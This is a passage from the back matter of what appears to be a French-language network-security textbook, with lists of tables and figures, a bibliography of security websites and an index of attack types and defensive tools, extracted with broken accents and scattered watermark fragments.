37.1 Quelques fonctionnalits dun trojan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 144 39.1 Elments ncessaires la vrication dune signature . . . . . . . . . . . . . . . . . . . . . 159 44.1 Rpression contre la cybercriminalit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 173

182

Table des gures


3.1 5.1 Statistiques des attaques Web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . Principe de lacquittement des trames . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

L
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

14 19 56 59 63 64 65 66 66 68 71 78 80

15.1 Trame dune connexion Telnet : 1 caractre du mot de passe . . . . . . . . . . . . . . . . . 16.1 Encryptage dun message avec signature lectronique . . . . . . . . . . . . . . . . . . . . . 17.1 17.2 17.3 17.4 17.5 17.6 Principe dun VPN . . . . . . . . . . . . . Connexion VPN entre 2 sites dune socit AH - Mode Transport . . . . . . . . . . . . AH - Mode Tunnel . . . . . . . . . . . . . ESP (Encapsulating Security Header) . . . Authentication par certicat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

18.1 Exemple de capture de trame (user et mot de passe) . . . . . . . . . . . . . . . . . . . . . . 21.1 Principe du spoong . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21.2 Filtrage des paquets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

25.1 Utilisation de nbtstat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103 25.2 Partages Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104 28.1 Description de larchitecture rseau pour un Proxy . . . . . . . . . . . . . . . . . . . . . . 109 29.1 29.2 29.3 29.4 29.5 29.6 Principe du ltrage[2] . . . . . . . . . PareFeu derrire un routeur sans ltre PareFeu Routeur . . . . . . . . . . . PareFeu Serveur Mandataire . . . . . PareFeu : Serveur mandataire en local DMZ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111 113 113 114 114 115

31.1 Connatre son ennemi ... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124 31.2 Exemple de rseau de Pots Miel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125 32.1 Chroot sur le dmon Apache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128 39.1 Certication de code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 161 41.1 Formulaire de demande de login / mot de passe ! . . . . . . . . . . . . . . . . . . . . . . . . 166

oc um en ts

ou sl
183

ic

en ce

FD

Bibliographie

[3] L. Bouzid. [4] Ernest cheska. [5] Collectif. http ://www.forum-intrusion.com. [6] Collectif. http ://www.choixpc.com/onduleur.htm. [7] Collectif. http ://project.honeynet.org. [9] Collectif. http ://www.sophos.fr/virusinfo.

[10] Didier Donsez. Universit Joseph Fourier (Grenoble 1). [12] Guill. http ://www.guill.net. [14] Red Hat. http ://www.redhat.com.

[11] Mark Grennan. http ://www.grennan.com/Firewall-HOWTO.html.

[15] Nicolas Justin. http ://nicolas.justin.free.fr.

[16] Antony Lesuisse Olivier Dony, Nicolas Galler. http ://ingi2591.udev.org/group3/nal.html. [17] Jean-Franois Pillou. http ://www.commentcamarche.net. [18] Salvatore Sanlippo. http ://www.opennet.ru.

oc um en ts

[13] Jean-Marie Guillemot. http ://www.guill.net.

ou sl
184

ic

[8] Collectif. http ://www.networkdweebs.com/chroot.html.

en ce

FD

[2] Cdric Blancher. Linux Magazine HS n 12 : Le Firewall votre meilleur ennemi acte 1.

[1] David Bizeul. http ://www.guill.net.

Index

J John The Ripper . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124 M Mots de passe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122 O Overlapping Fragment Attack . . . . . . . . . . . . . . . . . . 82 P PAM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125 Ping Flooding Attack . . . . . . . . . . . . . . . . . . . . . . . . . 81 Pluggable Authentication Modules . . . . . . . . . . . 125 Proxy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101 R rpm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 S Send Mail Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83 Smurf Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 185

oc um en ts

I intgrit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 IP Fragmentation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82 IP Sequence Prediction Attack . . . . . . . . . . . . . . . . . 82 iptables . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 108

ou sl

H http . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61

ic

D T Dni de Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 tripwire . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 DDos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 twcfg.txt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40 DNS Cache Poisoning . . . . . . . . . . . . . . . . . . . . . . . . . 82 twpol.txt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40 DoS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 U F UDP Flood Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82 FTP Bounce Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . 81

en ce

FD

C SNMP Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82 crypt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 123 SYN Flooding Attack . . . . . . . . . . . . . . . . . . . . . . . . . 81

You might also like